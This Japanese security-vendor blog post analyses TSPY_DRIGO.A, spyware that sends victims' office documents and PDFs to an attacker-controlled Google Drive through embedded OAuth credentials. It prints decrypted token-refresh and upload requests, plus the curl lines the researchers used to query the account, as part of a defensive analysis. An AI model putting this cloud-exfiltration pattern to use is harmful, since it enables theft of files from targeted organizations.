Google ドライブを利用して情報を窃取する標的型攻撃を確認

サイバー犯罪者が、クラウド型ファイル共有サービスを利用するのは、新しい手法ではありません。これらの正規のサービスは、不正なファイルを保存するために利用されたり、セキュリティ企業や専門家による検出から回避するために利用されています。

トレンドマイクロは、「DropBox」、「Sendspace」、「Evernote」といったオンラインストレージサービスを利用する不正プログラムを確認していますが、今回、これらの悪用された Webサイトのリストに Google ドライブが含まれました。弊社は、2014年 10月、「TSPY_DRIGO.A」として検出される不正プログラムを確認しました。「TSPY_DRIGO.A」は、Google ドライブをユーザから情報を窃取する手段として利用します。

■Google ドライブへの接続
「TSPY_DRIGO.A」は、実行されると、以下の拡張子を持つファイルを特定の場所で確認し、Google ドライブへアップロードします。

  • XLSX
  • XLS
  • DOC
  • DOCX
  • PDF
  • TXT
  • PPT
  • PPTX

この不正プログラムがファイルを確認する場所には、ごみ箱や文書フォルダが含まれます。

Google ドライブにファイルをアップロードするために、” client_id ”および”client_secret ”がリフレッシュトークンとともにこの不正プログラムに埋め込まれていました。リフレッシュトークンは、Google ドライブで使用されているプロトコル「OAuth 2.0」の一部として必要とされます。このプロトコルは、Twitter や Facebook、その他の Webサイトのアカウントを使って、異なる Webサイトにログインするために使用するものです。アクセストークンは、Google ドライブのアカウント上でアクセスするために使用されます。しかし、有効期間が短いアクセストークンは、期限切れになるため、リフレッシュトークンが、新たなアクセストークンを取得するために必要になります。

弊社は、この不正プログラムからの通信を復号し、新しいトークンの要求やファイルのアップロードといった活動を確認しました。

; request for new token

POST /o/oauth2/token HTTP/1.1
Host: accounts.google.com
User-Agent: Go 1.1 package http
Content-Length: 208
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

client_id={REMOVED}apps.googleusercontent.com&client_secret= {REMOVED}&grant_type=refresh_token&refresh_token={REMOVED}

;reply for new token

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 14 Oct 2014 08:08:32 GMT
Content-Disposition: attachment; filename=”sample.txt”; filename*=UTF-8”sample.txt
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alternate-Protocol: 443:quic
Transfer-Encoding: chunked

{
“access_token” : “{REMOVED}”,
“token_type” : “Bearer”,
“expires_in” : 3600
}

;upload file

POST /upload/drive/v2/files?alt=json&uploadType=multipart HTTP/1.1
Host: www.googleapis.com
User-Agent: google-api-go-client/0.5
Content-Length: 398
Authorization: OAuth {REMOVED}

Content-Type: multipart/related; boundary=e0cee80c4f3d21e18e77548a60b374408ce65bc3b76c5de1cdbe2afe7eeb
Accept-Encoding: gzip

弊社は、上記の方法で Google ドライブのアカウントにアップロードされたファイルを確認しました。2014年 10月 30日時点、アカウント上には、まだいくつかのファイルがあり、有効となっていました。弊社はまた、ファイル名から主に政府機関が標的とされていたことを確認しました。

以下は、検証に使用したコマンドラインです。

;Request new token
Curl -d “cliend_id={CLIENT_ID}&client_secret={SECRET_KEY}&grant_type=refresh_token&refresh_token={REFRESH_TOKEN} https://accounts.google.com/o/oauth2/token

;List files
Curl -H “Authorization: OAuth {ACCESS_TOKEN}” https://www.googleapis.com/drive/v2/files?maxresults=1

以下は、Google ドライブのアカウントにアップロードされたファイルのログの抜粋です。

{
“kind”: “drive#file”,
:
:
“title”: “{HOSTNAME} C:\\Users\\{USERNAME}\\AppData\\Roaming\\{REMOVED}長致詞{REMOVED}.doc”,
“mimeType”: “application/vnd.google-apps.document”,
:
:
},
“createdDate”: “2014-10-16T10:13:14.339Z”,
“modifiedDate”: “2014-10-16T10:13:16.286Z”,
“modifiedByMeDate”: “2014-10-16T10:13:16.286Z”,
“lastViewedByMeDate”: “2014-10-16T10:13:16.286Z”,
“markedViewedByMeDate”: “1970-01-01T00:00:00.000Z”,
:
:
}

■Google との関連性
Google ドライブの使用のみがこの不正プログラムと Google を関連付けるものではありません。この不正プログラムは、「golang」として広く知られている、プログラミング言語「Go」を利用して作成されています。Go言語は、Google によって開発が始められたオープンソースのプログラミング言語です。Googleによると、Go言語プロジェクトの目標は、Google でのソフトウェア開発の遅延や効率の悪さを解決し、プロセスをより生産的で拡張可能にすることでした。

興味深いことに、golang の利用は、今回が初めてではありません。セキュリティ専門家は、2012年には、Go言語を利用して作成された不正プログラムを確認しています。Go言語が利用された正確な理由を特定することは困難ですが、Go言語の知名度が低く、まだ主流の手法となっていないことが理由と考えているセキュリティ専門家もいます。

■情報窃取
弊社の解析により、この不正プログラムは、文書型ファイルのみを Google ドライブにアプロードすることが判明しました。この種の不正プログラムは、標的型攻撃の初期段階の 1つである偵察活動に最適です。結局のところ、攻撃成功の鍵の 1つは、標的に関する情報を十分に収集することです。窃取できる情報が多いほど、標的への侵入経路は多くなります。

今回の攻撃に利用された不正プログラムは、以下のハッシュ値に関連しています。

  • 2C32674B334F10000CB63ED4BA4EE543A16D8572
  • 2D98DDF8F5128853DD33523BCBBD472B8D362705

トレンドマイクロは、「カスタムディフェンス」で、企業を保護します。カスタムディフェンスは、幅広くネットワーク監視を実行することで、最先端の脅威からの保護を提供し、通常のセキュリティ対策製品では検出できない未知の不正プログラムや不正な通信、攻撃者の挙動を検知します。

弊社は既に、今回の事例について Google に報告しています。

※協力執筆者:Ronnie GiagoneおよびDove Chiu、Vico Fang.

参考記事:

翻訳:臼本 将貴(Core Technology Marketing, TrendLabs)